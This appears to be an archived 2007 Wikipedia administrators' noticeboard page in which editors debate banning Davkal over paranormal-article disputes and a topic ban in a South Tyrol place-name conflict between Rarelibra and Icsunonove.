You care so much about people irrelevant to you, but don't care about the time information. That was my following response to his insulting comments, that is called "cause and consequence". The threat is done by him, not me. Besides, you have some very impressive and clean(?) history like that. [46] You're not certainly in the position to judge anything because you've engaged in so many edit wars with many one for "your pushing POV" (quotation from your line to somebody) and surely not an administrator. [47], [48]

[49] [50] [51] [52] [53] [54], et cetera, et cetera, et cetera, et cetera, or so forth. —Preceding unsigned comment added by Appletrees (talk • contribs) 08:37, 3 November 2007 (UTC)

Sennen has a lot of problems with other editors as seen by the complaints on his talk page. Yet he simply deletes these posts [55] for no reason at all. Its clear that this user needs to be at least warned for what he is doing because he keeps engaging in arguments with other users. Good friend100 14:13, 3 November 2007 (UTC)

Disruptive user: Davkal

The following discussion is closed. Please do not modify it. No further edits should be made to this discussion.

---

Davkal (talk · contribs · deleted contribs · logs · block user · block log) has been disruptively editing Wikipedia and has set himself up as an attack account for people who dare to edit in paranormal/pseudoscience articles that disagree with him, he vandalizes user pages, edit wars, mischaracterizes good faith warnings as harassment, makes unfounded accusations, and generally causes a lot of distress everywhere he goes at Wikipedia. The arbcomm found he was a disruptive editor and he hasn't improved one bit. I request a community ban. ScienceApologist 21:32, 30 October 2007 (UTC)

The userpage "vandalism" looks more like a misplaced comment to the user. --Ali'i 21:37, 30 October 2007 (UTC)

Could you clarify what you mean by your comment Ali'i? Which comment are you talking about?

Sure, but e kala mai for interrupting. ScienceApologist said that with this edit, Davkal was "vandaliz[ing] user pages". It actually looks more like a misplaced comment to the user. Sometimes people post comments on a person's userpage rather than on their talk page. It's actually a fairly common occurance. Mahalo. --Ali'i 12:31, 31 October 2007 (UTC)

With regards to Davkal, he has been nothing but trouble. He has accused me of being both a sock puppet and a meat puppet of ScienceApologist, of which I am certainly not. A checkuser can be run to quell any doubts about the sock issue and SA and I simply share similar interests. Davkal has continued to edit disruptively all over the List_of_pseudosciences_and_pseudoscientific_concepts talk page in order to exclude a long standing source of information from the article. It appears that his method of editing is to try to exhaust other editor's patience in order to achieve his point. I requested a 3RR review against him due to his insistance on adding irrelevant information and continuing to insert a disputed tag but it did not result in a block but in the page being protected. He shows no sign of wanting to achieve consensus on the article and would rather continue to, for lack of a better word, rant about how much he distrusts the source and the author. The two other editors working on the page EPadmirateur and Hgilbert have been much more civil throughout the process of working towards a consensus but Davkal has been unable to remain civil. After being warned by both OrangeMarlin twice and once myself, he deleted the warnings from his page because he deemed them harassment. He even copied nearly the exact same warning I put on his page and put it onto mine, as you can see from this and then accused me again of being a sock puppet of SA. He has an extensive history of disruptive editing, as SA mentioned, which has culminated in 6 separate blocks. Even after all of these blocks, he has shown little change in his editing styles. It is time so show this editor the door. Baegis 22:30, 30 October 2007 (UTC)

Baegis makes great play of the fact that he's not a sockpuppet or meatpuppet of scienceapologist. Well he's certainly a sockpuppet or meatpuppet of someone. His first edits were to an RFC [[56]]! And then a few days later he jokes with Dave Souza on his talk page about his seeming familiarity with all things wiki[[57]]. His first words to me on the List of pseudosciences talk page was to tell me to leave [[58]]. And he has since accused me ov vandalism [[59]], for trying to uphold the an arbcom decision. He now seems to spend his time almost exclusively following ScienceApologist around wiki gang editing to avoid 3RR, including removing legitimately placed disputed tags from the list of pseudosciences article (added because there was a clear dispute involving at least three editors on either side - even though this was always presented as only me against the world - which was the same dispute that resurfaces constantly on that article because it has never been resolved). Not only does he follow ScienceApologist about, he seems to know SA's mind very well: well enough to make a change to SA's entry here as if he almost knew what SA was thinking[[60]]. SA also has a long history of using sockpuppets, while at the same time vehemently denying it - at one point he had three on the go at the EVP page at the same time and when he was finally caught still tried to blame a student of his editing from his home PC! This is not about my behaviour at all, but about an organised group of editors who have tried to hijack many articles about the paranormal - generally threatening, abusing, and harassing any editor who stands up to them, and who, after failing to get the arbcom on the paranormal to back up their spurious arguments have taken to trying to eliminate all the editors who oppose them one by one. SA is currently trying to have both editors he is currently in dispute with (myself and martinphi) banned from wiki. I urge you to look at SA's past history - including his recent total rejection of the arbcom he initiated, and to view this request here in the light of that.

I am certainly not blameless, but since my worst indiscretions were well over a year ago, I have tried to bring things to the talk page where the response has almost always been to simply turn the the discussion onto me and to threaten me endlessly. My recent edit on the list of pseudosciences talk page resulted in about three such threats within a few days.Davkal 23:44, 30 October 2007 (UTC)

Davkal, you say you aren't blameless. Ok, we all know you edit war, and you aren't civil. The ArbCom knows. I like you, and I know that one of these days you're going to get a permanent ban if you continue to edit as you do. So, would you be willing to change your editing style? ——Martin^phi ☎ Ψ Φ—— 00:17, 31 October 2007 (UTC)

You know it's bad when Martinphi says that Davkal is a problem! ScienceApologist 00:41, 31 October 2007 (UTC)

If I could have a sensible conversation with an admin, or someone neutral here (someone who is not obviously a supporter of the gang of editors I have been in dispute with) to discuss a sensible way to take this forward then I would welcome that opportunity. The problem though, as witnessed in your recent RFC, is that all we really get are the same group of editors whose suggestions consist mainly of telling us to doff our caps and accept the truth of what Scienceapologist, for example, are telling us. The recent paranormal arcbcom demonstrated that on a significant number of policy issues we were correct. The recent point here, made by a member of the Rational Skeptics group and a mediator [[61]]group illustrates what I feel I am up against. As does the recent stuff on the list of pseudosciences. Three threats of bans as soon as I make a reasonable point (that many many have agreed with over the course of this dispute) and then an accusation of bullying when I respond by suggesting another editor's behaviour may be worthy of a ban.

As noted, then, I would welcome the opportunity to discuss my behaviour seriously with someone who knows wiki policy, and can suggest a way forward, but I cannot accept that I have to put up with constant harassment and incivility. There is a general problem with civility in Wiki, and in the world of paranormal Wiki there is virtually no such thing. Witness this recent edit from SA [[62]]. That's the kind of thing I don't feel I should have to put up with every day of my life just because I think articles on the paranormal should not be any less neutral than any other article.

So, if someone would care to discuss my edit history over the passed week or so, and genuinely let me know what is unacceptable and what is not then I will do all I can to follow their recommendations in good faith. I also feel, however, that there are others here who need to go down this same route.Davkal 00:39, 31 October 2007 (UTC)

Here is the kind of thing that is just a commonplace when dealing with ScienceApologist. First, he demands that we identify the source of a picture [[63]]. Then, he uses that attribution to tag the article as spam [[64]]. And then accuses another editor of trying to hijack the whole of wiki [[65]]. And all this really because an arbcom ruling means that the caption for a picture doesn't support his POV as much as he would like.[[66]] Davkal 02:29, 31 October 2007 (UTC)

Well, as Ali'i pointed out, Davkal may have not meant to vandalize OM's user page. But what he did insert was surely a personal attack against SA and I. I won't address the puppet accusations in any great detail because they are completely baseless. With regards to my first edit being on an RFC, well, who cares? I thought that RFC's were for community input. Just because I was a brand new editor I wasn't supposed to comment? And yes, I made a joke with Dave that I was a bit familiar with everything because I have always been tinkering with WP without a user name. I corrected a few misspellings here, a broken link here, revert a little vandalism, all very minor stuff. So I was familiar with how things worked when I finally registered my user name. Contrary to your belief, I do not follow SA around and "gang edit" articles. We just have similar interests. The articles that we have worked on together are dwarfed by the amount of articles that SA has worked on that I haven't or vice versa (a lot heavier on SA's side). You are making this claim from two articles, List of pseudosciences and pseudoscientific concepts and Electronic voice phenomena, and my comments on an IfD regarding an image used at the EVP article. And yes, I knew how to change the link in SA's evidence because I read it, clicked on the link, and saw that it did not link to the findings of fact regarding your disruptive editing style. So I fixed it because I knew that is where SA was going with the statement. My words to you on LOPAPC (which was actually my 2nd comment to you, the first mentioning how your proposed title change was not a good idea) must be read in the context of what Simeos mentioned above, in which he cautioned you twice about your behavior. Taken out of context they make me look like a rabble-rouser. Read in the correct context I am merely echoing another editors concerns.

I don't know enough about SA to know about the use of sock's in previous discussions but it is hardly relevant to your current behavior. If SA has had sock's in the past, I am sure punishment will come, especially since it is addressed in the current Arbcom between MartinPhi and SA. However, I would like to say that SA made an extremely bold series of edits in the EVP article that have improved the article significantly. It is not hijacking, but improving the article. I am not sure what you mean exactly by having editors tell you to doff your caps to SA but from everything I have seen so far with working with SA, is that 99% of the time SA is completely correct, especially in regard to policy. Baegis 17:36, 31 October 2007 (UTC)

Davkal seems to disappear and then reappear whenever he/she wants to disrupt something such as an RFA, an arbitration or an attempt to get consensus on improving an article and frequently inserts POV. For instance this user vanishes for a month and then reappears to oppose a RFA. Vanishes for another month and then reappears to support a RFA. Vanishes for another month and then reappears at an arbitration. All relating to article content that this user frequently attempts to drive POV into. This user has been blocked an astonishing 10 times in the past year for edit warring etc. This is clearly a problematic user and has made little positive contributions to the project. Wikidudeman ^(talk) 17:53, 31 October 2007 (UTC)

Davkal is now engaged in revert warring at Electronic voice phenomenon. Are there no admins brave enough to tackle this user? ScienceApologist 18:47, 1 November 2007 (UTC)

ScienceApologist is right engaged in POV pushing on grand scale on the EVP article. He is blatantly ignoring the decisions of the arbcom and he is inserting his own pseudoscientific theories into the article without sources. I am reverting to the stable version of the article that was moving, albeit slowly, towards possible good article status.Davkal 18:53, 1 November 2007 (UTC)

With all I have read on this discussion thread, I would congratualte any administrator who gave Davkal an indef block. Jeffpw 18:56, 1 November 2007 (UTC)

I think everyone should take these accusations with a grain of salt. ScienceApologist has been biting good-faith editors on Talk:Electronic voice phenomena when they politely ask for him to refrain from language, and from looking at the *entire* page (not just cherry picking diffs) it appears both sides are busy throwing choice words at each other. I don't know the history of Davkal, but the confrontational style and behavior of SA makes me unwilling to support a one-sided block. David Fuchs ^(talk) 19:05, 1 November 2007 (UTC)

Yeah, please look at the entire page. The user is a single purpose account who fits the disruptive editor designation almost to the letter. I challenge anyone to show how I am cherry-picking in this complaint. ScienceApologist 19:29, 1 November 2007 (UTC)

I happened to drop in on the EVP article but have had no prior involvement other than to make a note on the talk page regarding how poorly written the article is. If there's a disruptive editor involved, that certainly wouldn't help the quality of the article. I'm especially concerned about the statement "Davkal seems to disappear and then reappear whenever he/she wants to disrupt something such as an RFA, an arbitration or an attempt to get consensus." If this is true and can be supported with diffs, that's a serious matter; if not true, it's still a serious matter because such accusations are not to be made lightly. Raymond Arritt 19:11, 1 November 2007 (UTC)

• Well, having reviewed Davkal's recent contributions, I have placed a block to prevent any more disruption from that user. I'm now going to look through the past arbitrations in respect of the articles he's been editing. Nothing I've seen in Davkal's history indicates that he is amenable to education or reform, he is a tireless advocate for fringe theories, which is fine in some places but not on Wikipedia, where tireless advocates tend to have the effect of actively impeding progress towards consensus. I note that there are other editors who have a reasonably sympathetic view of EVP and so on, let's see of they can come to some kind of view as to how it should be covered. I've also left a friendly warning to ScienceApologist, whose zeal for the mainstream can be a source of friction. While sympathising with both his viewpoint and his impatience with POV-pushers, I think this thread is representative of his approach, which could perhaps be a bit more collegial. Hark at me. Guy (Help!) 19:52, 1 November 2007 (UTC)

Just to follow up on that, the more I see the more sure I am that Davkal is just in the wrong place. Guy (Help!) 22:49, 1 November 2007 (UTC)

• • I'm not sure how to hark, much less how to direct it toward anyone. Nonetheless, good block. For Pete's sake, look at Davkal's block log. There's no sort of disruptive behavior he hasn't engaged in at some point. This block was long overdue. MastCell ^Talk 20:47, 1 November 2007 (UTC)
  • I always love it when someone is accused of something, and the first thing they do is not deny what they have done, but accuse someone else of something. The SA/Baegis sockpuppet charge is amusing and quite boring--the point of this ANI is not SA or Baegis but it's Davkal. Let's stick to that discussion. MastCell makes a valid point--why are we bothering even having this discussion. Time for Davkal to move along. OrangeMarlin ^{Talk• Contributions} 20:53, 1 November 2007 (UTC)
  • Thank you, Guy, for a more balanced view for a change. If one looks at ScienceApologist's sock puppet record, it is not at all out of line to suspect more, especially when that user follows SA around and upholds his edits. ——Martin^phi ☎ Ψ Φ—— 21:17, 1 November 2007 (UTC)
    • My, but bringing up ScienceApologist's sockpuppetry certainly seems to be a popular method of deflecting unwanted attention these days... it seems to be the equivalent of temporarily raising the terror alert level. MastCell ^Talk 21:32, 1 November 2007 (UTC)
      • Yeah, so now it's just so much background noise. I've been accused of being a sockpuppet so often that I now consider it a badge of honor. When a POV-warrior accuses me of it, that's precisely the point I know they've run out of logic. Same here. Davkal cannot defend himself, because his actions are indefensible. And I like SA's zeal. OrangeMarlin ^{Talk• Contributions} 19:08, 2 November 2007 (UTC)
  • I agree with Guy's characterization of the issues. SA's zeal is often gratting, but there is no indication that User:Davkal is an asset to the project. --Rocksanddirt 21:23, 1 November 2007 (UTC)

I have to mostly agree with User:David Fuchs. This is not a clear cut as some think. The two sides of this issue both have issues to work on. Davkal is not the only one that is culpable here. The whole thing reminds me of the East Europe(Digwuren), Sri Lanka, and Middle Eastern areas of wiki where the two sides never learn to get along and are constantly trying to blame the other side and do each other in. I guess now we can add the paranormal group to the EE/SR/ME list. Maybe we should full protect the pages and force the two sides to work things out. — Rlevse • Talk • 23:12, 1 November 2007 (UTC)

I think the pseudoscience issues can be distinguished from the Middle Eastern/etc areas of wiki in that there are content guidelines regarding fringe theories specifically. I'm not particularly familiar with the Middle Eastern/etc cases, though, so I won't say much more than that. Antelan ^talk 23:39, 1 November 2007 (UTC)

The block is well deserved in this case, such disruptive editors have no place in this project. OTOH, I am concerned about baiting. Many editors become royal pains in the arse when they see that they are talked down, labeled as trolls at every opportunity, their comments refactored or collapsed between archive tags, and other such demonstrations of lack of respect. Editors that engage in these type of baiting, need to become aware that these and not useful, if not actually disruptive. ≈ jossi ≈ (talk) 23:38, 1 November 2007 (UTC)

Are you saying the members of the opposing side are innocent? I highly doubt it. This is too similar to EE/SR/ME situations. I'd like to know what people who've never edited a single paranormal article on wiki have to say about this. — Rlevse • Talk • 23:41, 1 November 2007 (UTC)

No I am saying that both sides are at fault. I would also add, that these editors need to be aware that their behavior is also under scrutinity, and will end up in the same situation as these they bait if they persist. ≈ jossi ≈ (talk) 23:43, 1 November 2007 (UTC)

If both sides are at fault, why is only Davkal blocked? SA has a block history too. — Rlevse • Talk 23:48, 1 November 2007 (UTC)

You may want to see the warning placed by Guy in that user's talk page. ≈ jossi ≈ (talk) 23:57, 1 November 2007 (UTC)

The answer is very simple. Davkal was aggressively pushing a POV, SA is aggressively pushing NPOV. Neither is great editing behaviour, but one is a more pressing problem. I have advised SA to be less aggressive and more collegial. We'll see if that has any effect. I suspect he may accept a steer fomr me that he would not accept form an editor with a long history of advancing fringe theories, so it's worth a shot at least. Davkal is just in the wrong place. I'm sure he's a nice guy and kind to his mother, but Wikipedia is sincerely trying to be a neutral encyclopaedia and his input was definitely not helping in that aim. Guy (Help!) 00:09, 2 November 2007 (UTC)

More broadly, that article (and probably others in similar topics) could do with more involvement from editors in the reality-based community. Looking at the talk page it's clear that there's disproportionate influence from the paranormal/fringe camp. Maybe then SA wouldn't feel so embattled. Raymond Arritt 00:14, 2 November 2007 (UTC)

Then he should ask for help from non-involved editors, Raymond. Feeling constantly embattled is not a good think, as it encourages the wrong behaviors. ≈ jossi ≈ (talk) 00:19, 2 November 2007 (UTC)

I do not believe in such a thing as aggressively pushing NPOV in this case. I see it more as pushing the mainstream point, while obliterating the non-mainstream POV. That makes for poor NPOV. ≈ jossi ≈ (talk) —Preceding comment was added at 00:21, 2 November 2007 (UTC)

I've jumped into this mid-way as a mediator invited in between both sides at the lone article EVP. It seems to me that paranormal editors like Davkal are baited by editors like SA into edit wars resulting in a general mess. ScienceApologist has a troubling history that should be addressed - practices like [67] where he went on a literal 'rampage' with the article not only reverting others work without disussion but making POV changes without first discussing the issues first, and [68] where following the previous incident of editing without consensus or discussion (as was accepted on the talk page, and considering the present Arbcom would be the wise and cordial thing to do) he started another dispute over templates of the paranormal. It's this type of stuff that is causing the mess in the first place and although I can't speak for Davkal's editing patterns I can understand at least what this user puts up with from ScienceApologist. It's disappointing Wikipedia attracts crusaders like the LaRouche crowd and RationalSkeptics (who I considered joining as a skeptic myself but decided not to because of the harm I see coming from some associated with this group) who wish to convey their fringe view of subjects changing long standing articles in such a manner that is contrary to the spirit of NPOV. Wikidudeman below, as well as ScienceApologist, and others are active members of this group that have a fringe skeptical view, at odds with the very existence of paranormal terms and articles at Wikipedia; rather than balancing the articles out with a good and pithy criticism section as is standard. This is the ROOT of all of this mess here and at Arbcom. The repeated harassment of paranormal editors is shameful - and should be addressed. At the very least SA should be banned for his actions as well. If the root problems are not addressed this stuff is just going to go on and on. --Northmeister 00:22, 2 November 2007 (UTC)

Your characterization of the paranormal editors as being "harassed" by the mainstream ones is absurd. Would it be best if SA showed saintlike civility and forbearance when faced with aggressive promotion of (let's be frank) physical impossibility? Sure. But sometimes we have to take what we can get. I'd much rather have SA as he is, than leave these articles to be dominated by the paranormalists, resulting in Wikipedia being the target of well-deserved ridicule. Raymond Arritt 00:27, 2 November 2007 (UTC)

If I am wrong - How so? I've seen nothing but this since arriving at EVP and reading up on he history. The recent incidents above are just more of the same - thus the actions of editors in the paranormal community trying to deal with editors on the fringe of science. I wouldn't call trying to change paranormal articles clearly framed as such and understood by the general public as such; mainstream. Although I probably would agree with ScienceApologist opinion on matters paranormal, I'm not about to endorse what is being done to instigate these things - thus my observations on the ROOT of the problem and SA's troubling editorial habits. --Northmeister 00:33, 2 November 2007 (UTC)

Two wrongs do not make a right, Raymond. ≈ jossi ≈ (talk) 00:38, 2 November 2007 (UTC)

True, they don't. Again, in an ideal world SA would be more patient. But sometimes we have to choose between less-than-ideal worlds. Raymond Arritt 00:43, 2 November 2007 (UTC)

I am not so sure that choosing the lesser of two evils is wise in the long run. In any case I see that you have joined Guy in his warning to SA, and hope he will take that to heart. There is a point in which the balance may not be in the project's favor. ≈ jossi ≈ (talk) 00:48, 2 November 2007 (UTC)

To Quote "northmeister", "At the very least SA should be banned for his actions as well. If the root problems are not addressed this stuff is just going to go on and on." I have to agree. SA should not be getting off scott free here when the other is getting indef blocked. The one doing the baiting is just as guilty as the one who bit. — Rlevse • Talk • 01:12, 2 November 2007 (UTC)

And what goal would that accomplish? How would banning one of the more productive editors who always strongly, strongly pushes for NPOV and well sourced information help out the WP community? Sure SA may be short on patience sometimes, but if we all had to deal with some of the editors SA seems to encounter, we would be quite short with them. SA is not a saint, but I'd take a take someone with an aggressive, no nonsense attitude over a dozen of Davkal's type any day of the week. Baegis 05:56, 2 November 2007 (UTC)

Evidence of aforementioned charge

user is gone for 2 weeks and then returns to oppose my RFA. Davkal opposed because he perceived my being a skeptic as POV or something like that. Davkal stayed about a week and then vanished again until:

user appears after over a month of inactivity to support another editors RFA. The editor (Dreadstar) coincidentally made a lot of comments or edits that Davkal agreed with apparently. The editor disappeared again for a month until:

The editor returns to comment on a new RFA concerning the disruptive edits of other editors concerning paranormal articles

Wikidudeman ^(talk) 23:11, 1 November 2007 (UTC)

You make it sound like all he did during that time was only to edit 3 RFAs, which is simply not true. You also fail to mention that he was one of 24 who opposed your RFA and that it did not succeed. Sounds like sour grapes to me. — Rlevse • Talk • 23:38, 1 November 2007 (UTC)

And that helps in what way, exactly? Guy (Help!) 00:10, 2 November 2007 (UTC)

It's more accurate view than wikidudeman's obviously skewed presentation. — Rlevse • Talk • 01:12, 2 November 2007 (UTC)

No, Wikidudeman's presentation is not skewed he merely didn't mention the other edits. Lets examine them further:

• From July 9th until his strong oppose to Wikidudeman's RFA (July 30th) or a total of 22 days, he made 0 edits. None, no talk, nothing. In his 7 day reappearance, in which he commented on said RFA, he made a total of 13 contributions. 5 of them were in relation to the RFA, and 7 of them to the, you guessed it, EVP articles (talk inclusive). His one other edit was to give a barnstar to User:RedSpruce, which appears to have been removed since it was given.
• From August 6th until September 14th (40 days) he did not make a single contribution. He came back on September 15th and made 3 posts on the Dreadstar RFA. It is interesting to note this because Dreadstar's thank you card continued to be present on Davkal's page when all of his warning's were posted (or harassment as he declared) and subsequently quickly deleted by Davkal. So it would be safe to say they are friendly.
• After this one day appearance, Davkal disappeared again until October 16 (32 days) to make 2 contributions to the MartinPhi/SA Arb case. He made a single edit on October 18th and then disappeared for 10 days until he came back on October 27th. What happened from this date forward is what brought this user to this board.
• So, yes I think it is quite safe to say that Davkal only appears to cause other's grief or to help out his buddies in someway. While there is no harm in lending your support for an editor's RFA or invoking your right to object to another editor's RFA, since July 9th it is quite clear that Davkal's contributions have been suspect at best. Disruptive would be the better word for his actions. And, since he shows no sign of changing, he should not be asked back. Baegis 05:56, 2 November 2007 (UTC)

Jossi already said nearly everything I might have, and Northmeister certainly brings up interesting issues. I don't happen to agree that baiting is an excuse for what anyone has done. However, one main issue that people should consider here is gang editing against consensus, which has been done many times in the past by the skeptical community (see history of EVP article). They can get away with this because they simply out-number those who wish to give the paranormal an NPOV or positive treatment. Ideally, the two sides would balance out to NPOV, but they do not because of the greater numbers of skeptics. ——Martin^phi ☎ Ψ Φ—— 03:38, 2 November 2007 (UTC)

"Gang editing against consensus"? If you're constantly outnumbered by a "gang" of editors who disagree with you, you may want to consider the possibility that your views are not actually supported by a consensus. Just a thought. MastCell ^Talk 04:51, 2 November 2007 (UTC)

I think it's more like a strong possibility. Baegis 05:56, 2 November 2007 (UTC)

• I'm glad to see this indefinite block. At one period, I tried to keep an eye on Davkal and contain his disruptive editing, but I got burned out on his recalcitrance and aggression. :-( Seeing the ArbCom take him on in the Paranormal RFAr was a relief; but then the committee, with surprising inefficiency (vote in the ArbCom elections!), made a hot and strong finding of fact about Davkal which was not followed up by any remedies: none of the numerous remedies proposed gathered enough support individually, and they were never coordinated into something the arbs could agree on. I despair sometimes... anyway, I'm very glad to see the community move towards its own remedy here. Davkal has wasted enough time for enough productive editors. P. S. He has been blocked for block evasion once, so please keep an eye out for socks. Bishonen | talk 08:56, 2 November 2007 (UTC).

What Bishonen and Guy said. I was so dismayed when the Paranormal Arbcom failed to agree on any remedy for Davkal's behaviour that I stopped contributing to the EVP article rather than work with him further. For the record: "Davkal (talk · contribs) is a disruptive editor, given to personal attacks, lack of civility and failure to extend good faith to other editors." Certainly ScienceApologist would be well advised to adopt a more collaborative approach in future. Perhaps other sanctions may be necessary in his case - although I have no strong feeling on that subject - but such considerations should not distract us from Davkal's actions. It's a shame that Davkal couldn't have become more like Martinphi, a strongly pro-paranormal editor who (in my experience)remains civil and avoids edit-warring. Sheffield Steel^talk_stalk 15:13, 2 November 2007 (UTC)

The discussion above is closed. Please do not modify it. No further edits should be made to this discussion.

User:Rarelibra

Could someone have a word with him? He seems to have appointed himself moderator of Talk:Province of Bolzano-Bozen, and is removing posts and issuing orders, laced with profanity. Who appointed him drill-sergeant, and WP:Signpost missed it? ;-> Septentrionalis PMAnderson 19:24, 1 November 2007 (UTC)

I've left him a note on his talk page. David Fuchs ^(talk) 19:35, 1 November 2007 (UTC)

I indefinitely blocked the user for this edit and the breach of WP:LEGAL therein. ("removing personal comments that border on libel - unless you have proof of this, refrain or we'll look into lawful matters") I welcome your review of this block. --John 20:08, 1 November 2007 (UTC)

I unblocked upon the user's assurance that no legal threat was intended. This might warrant continued scrutiny though. --John 20:15, 1 November 2007 (UTC)

He made those attacks against me. I still have the copy of the e-mail he sent warning me about another Editor. Who cares actually, but I thought I'd let that Editor know. This guy was also selectively removing my posts across Wikipedia, and threating that some "game is going to begin"; i.e., he is going to get me blocked and banned, or he is gonna come over to my home and hit me. :-) Talking about needing a Wiki-break.... jeez. Icsunonove 04:45, 2 November 2007 (UTC)

I think we need a little administrative focus on user Icsunonove here. Can a user continue to harrass another with constant banter, insult, and defamation without warning or punishment, while other users are scrutinized? I thought Wikipedia was a NEUTRAL place where ALL PARTIES involved are supposed to be treated equally. In this case, two wrongs don't make a right - so what about Icsunonove? Is there an admin out there that can see his various postings and sum most of them up as personal attacks and borderline libel? In my case, I have been regularly contributing positive, useful, and informative postings to wiki. With the case of South Tyrol, never again do I wish to be involved - but someone please stop Icsunonove from going to every talk page he can to leave slanderous and defaming comments. Thank you. Rarelibra 05:50, 2 November 2007 (UTC)

Hah, "don't look at me, look at him!". Reminds me of elementary school. Interesting points you make though, considering that you began on Oct. 31st by messaging a new editor that I'm an "Italo-extremist", which I caught by a chance visit to Wikipedia. Then you go and selectively erase/edit my and others' posts. You must be pretty thick skinned to believe you will not receive return comments when you initiate attacks on other editors. I guess you've at least been consistent in convincing yourself time and time again that you are absolutely always in the right -- so I'm wondering why I am even bothering with this lecture. I think what you seriously need to do is focus a bit on your own behavior. Making legal threats and vandalizing others' edits is an issue you need to deal with. By the way, that is your opinion you regularly contribute positively; I believe others would have issue with that opinion, especially given the regular warnings you receive from Admins. Now, I ask you to please stop harassing editors that you somehow feel compelled to lambast once or twice a month. Also cease vandalizing the Province of Bolzano-Bozen page by placing POV tags, giving no clear explanation, and demanding who and who cannot then comment... i.e., read Lar's comments, and understand them! The bottom line is you sent me an e-mail, one that i still have, defaming Septentrionalis. You can call my action of telling him what you said "libel" until you turn blue. Maybe what you should have done was not sent it in the first place. I DO sincerely hope I no longer have to be involved with your lot any longer.. gosh, one can only wish! I'll let the Admins deal with your yelling, and constant stirring the pot on ethnic debates. Icsunonove 06:16, 2 November 2007 (UTC)

• PS, isn't it funny that Rarelibra states to John that no legal threat was intended, but just above he again makes the same accusations of libel, slander, and defamation. Is this legal-verbage week on Wikipedia?! I think the message left on the talk page was a pretty-darn clear threat of some sort of legal action. o_O Rarelibra, you could at least be brave enough to be truthful in what your intentions were when you made that post. Was there something else you "meant to say" when you stated you are going to look into "lawful matters"? I'm more offended by this dodging of the truth, than the attack made regarding legal action. Icsunonove 06:33, 2 November 2007 (UTC)

User:Icsunonove

How is it that such postings as THIS, THIS (calling me a coward), THIS (questionable behavior), and many other examples can continue to come from this user? One can sum up probably HALF of his edits as personal attacks and questionable behavior slandering and insulting those who disagree with his edits and behavior.

Is there no admin around that can see this and help? Thank you. Rarelibra 05:57, 2 November 2007 (UTC)

PERHAPS you shouldn't have popped back into the Province of Bolzano-Bozen page and Francesco's page making all these claims again of Italo-centric and Italo-extremists. You complain after you insult people, and they make comments back at you? Interesting. Icsunonove 07:20, 2 November 2007 (UTC)

You have been removing other people's posts [69][70], been incivil [71] and threatening legal action [72]. I would be more concerned about your own behaviour before reporting others. пﮟოьεԻ 57 09:12, 2 November 2007 (UTC)

Indeed. --Checco 11:09, 2 November 2007 (UTC)

Well, PhJ and Rarelibra might not like me, and maybe a certain subset of users from Germany (Gryfindor, Matthead, etc.), but this is pretty messed up that this behavior of Rarelibra (and PhJ) turns into an indictment on my editing history. Ok, maybe Fut. Perf. sees a war and just wants to end it ASAP without seeing what happened first, but PhJ coming on here and making his comments below. Jeez, how I wish I hadn't visited Wikipedia a few days ago and witnessed the new bashing on the Bolzano-Bozen page... :-) Icsunonove 15:08, 2 November 2007 (UTC)

Topic ban proposed

This is an extremely long-standing conflict that has gone from lame edit war to festering personal hatred. The only solution I can see is that certain people need to be removed from this situation, and for good. I haven't made up my mind yet whether Rarelibra's behaviour is disruptive to a degree that requires sanctions (right now he seems to be simply angry, and understandably so to a certain degree.) The fault for the recent re-escalation I see squarely on Icsunove's side. A topic ban for him is the least we need. He is quite evidently unable or unwilling to work together constructively with the other editors on this matter.

Therefore, proposed community sanction: Icsunonove is banned, indefinitely, from making any edits relating to the question of geographical names in South Tyrol. This includes comments relating to these issues on talk pages and user talk pages, including his own, and comments about other contributors with whom he has been in conflict over them, including (but not limited to) Rarelibra, Gryffindor, and Pmanderson.

Violations of this ban to be met with escalating blocks, as usual. Other editors to be added to this or similar regulations as other admins see necessary. Fut.Perf. ☼ 06:56, 2 November 2007 (UTC)

"The fault for the recent re-escalation I see squarely on Icsunove's side. A topic ban for him is the least we need. He is quite evidently unable or unwilling to work together constructively with the other editors on this matter." Ok, if that isn't one of the most completely biased statements I've seen made in awhile, I don't know what is. I was one of the editors that helped finally bring a neutral solution to this page after ages of fighting. This was done, together with a group of editors that were German, English, and Italian speakers -- in an extremely civil manner. Then you decide to target a single user -- me? How convenient. I have no conflict with Pmanderson, it is Rarelibra that has a conflict with him as well; so please get that straight at least. I also suggest you should stay neutral in this discussion, since you are a native German speaker, and this has constantly been drawn into a useless debate between users from Germany and Italy. You then accuse me of being at fault in a re-escalation? Then you have not sufficiently investigated what re-instigated this new (and stupid) war. It was [73] and [74]. If you find edits I made earlier to those, please show me -- and then you can accuse me of re-starting this bickering. If not, my research shows it was Rarelibra and PhJ -- again. I have been one of those from day one that has pushed to get these pages at neutral titles, and the fighting on these pages has dropped significantly. There are just a few holdouts who like to come along and lambaste us (i.e., Gryffindor, PhJ, and Rarelibra). You want to topic ban some people for awhile? There ya go. Also, see below the highly threatening e-mail of legal action this user Rarelibra sent me. In the past he e-mailed me that Pmanderson had ulterior motives, so I told Pmanderson. Tough, he shouldn't of e-mailed that sort of language if he didn't want it made public. Regardless, Fut. Perf., that is really offensive what you have accused me of above and it is completely out of line that you are trying to isolate me from this topic, considering you yourself have been involved in this debate. Icsunonove 07:24, 2 November 2007 (UTC)

I'm open to extending the topic ban to Rarelibra (hadn't honestly seen the timing of the "italo-extremists" comments). If the e-mail is confirmed there'll of course have to be an indef block too unless the threat is retracted. For the record, I have never been involved in this dispute that I can remember, except in administrative function, and I'm as neutral as can be. The suggestion I couldn't be neutral because I'm German just goes to show how insane this situation has become. Fut.Perf. ☼ 07:39, 2 November 2007 (UTC)

You know what Fut. Perf., how about trying something else instead of getting people banned from topics they contribute to? I've worked a lot to get neutral solutions, and the vast majority of editors will agree we have solutions now that are fair to Italian/German sensitivities on the subject, and also reflect proper English usage. At one point the pages were simply dominated from a German point of view, basically a direct translation from German Wikipedia. I have a good idea with regards to this considering my ancestry is German and Italian. The situation is insane, I agree. But I feel it is fair for me, after what I have witnessed on Wikipedia with regards to this topic, to at least ask that you do consider any inherent biases you might have. If you feel absolutely neutral, then I'm proud of you -- seriously. :) I took quite a lot of time off from this subject, just concentrating on clean-up edits. I came back and saw all this hurtful writing again, and of course I have a reaction. I maybe wish I wouldn't of reacted so cynically, but it does get old! If you would like us all to take some time off from the BZ page, fine. But what you are asking for above, and pointing a finger at me (without even thoroughly investigating what happened).. you must know this is hurtful and insulting. I've put a lot of work into this region, a place where my ancestors come from in fact. Icsunonove 08:57, 2 November 2007 (UTC)

• One question I have though: How many times does an Editor get to make such major threats like this, and then magically retract them? Icsunonove 08:19, 2 November 2007 (UTC)

E-mail

